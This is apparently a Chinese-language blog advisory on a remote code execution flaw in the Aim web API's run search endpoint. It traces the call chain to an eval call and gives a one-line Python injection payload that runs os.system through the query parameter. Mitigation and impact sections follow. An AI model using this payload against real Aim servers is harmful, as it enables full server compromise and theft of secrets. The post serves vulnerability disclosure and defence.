Aim Web API 远程代码执行

摘要

  • 漏洞类型:远程代码执行(RCE)
  • 产品:目标
  • 版本:>= 3.0.0(afaik)
  • 受影响的端点: /api/runs/search/run/
  • 严重性:临界

描述

aim项目中发现了一个关键的远程代码执行漏洞,特别是在/api/runs/search/run/端点中。该漏洞允许攻击者在服务器上执行任意代码,这可能会导致系统完全泄露。

易受弱的代码

该漏洞存在于theaimaim/web/api/runs/views.py文件中的therunrun_search_api函数中。该代码没有正确限制用户对RunView对象的访问,允许通过query参数执行任意代码。

开始分析🧐

@runs_router.get('/search/run/', response_model=RunSearchApiOut, responses={400: {'model': QuerySyntaxErrorOut}})
async def run_search_api(q: Optional[str] = '', limit: Optional[int] = 0, offset: Optional[str] = None, ...):
    from aim.sdk.sequence_collection import QueryRunSequenceCollection
    repo = get_project_repo()
    query = checked_query(q)
    repo._prepare_runs_cache()
    runs = QueryRunSequenceCollection(repo=repo, query=query, paginated=bool(limit), offset=offset, ...)
    streamer = run_search_result_streamer(runs, limit, ...)
    return StreamingResponse(streamer)

功能呼叫链

  1. 端点处理程序:

    • 端点:/api/runs/search/run/
    • 位置:aim/web/api/runs/views.py
    • 线路:#80
    • 代码:
      streamer = run_search_result_streamer(runs, limit, ...)
      
  2. 迭代超过运行:

    • 位置:aim/web/api/runs/utils.py
    • 线路:#258
    • 功能:run_search_result_streamer
    • 代码:
      for run_trace_collection, progress in runs.iter_runs():
         # ...
      
  3. QueryRunSequenceCollection.iter_runs():

    • 位置:aim/sdk/sequence_collection.py
    • 线路:#249
    • 方法:
    • iter_runs
    • 代码:
      self.query.check(run=run_view)
      
  1. Query.check():
  2. 位置:aim/storage/query.py
  3. 线路:#190
  4. 方法:check
  5. 代码:
    eval(self._checker, restricted_globals, namespace)

概念验证(PoC)

以下POC演示了RCE漏洞:

run.run.dataframe().query("@run.run.__class__.__init__.__globals__['logging'].os.system('id')")

利用对RunView对象的无限制访问,允许任意代码执行,导致服务器完全泄露,包括网络访问、文件系统、秘密和云元数据。

减轻

为了缓解此漏洞,建议:

  • 限制用户访问:限制用户访问DataFrame等危险对象。

  • 实施适当的输入验证:确保用户输入,特别是查询中使用的输入,经过适当验证和消毒,以防止代码注入。

影响

这种RCE漏洞可能会产生严重的后果,包括但不限于:

  • 网络泄露:攻击者可以执行任意命令,这可能会导致网络泄露。

  • 文件系统访问:对文件系统的完全访问允许攻击者读取、写入和删除文件,从而损害系统完整性和可用性。

  • 访问秘密:访问文件系统内的敏感数据,包括环境变量、秘密和潜在的云元数据。

  • 数据泄露:执行任意代码的能力为攻击者提供了泄露敏感信息的手段。

代码审计3

代码审计 · 目录

上一篇CVE-2023-29055下一篇【未公开漏洞】蓝凌EIS存在多处SQL注入

  • 18
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值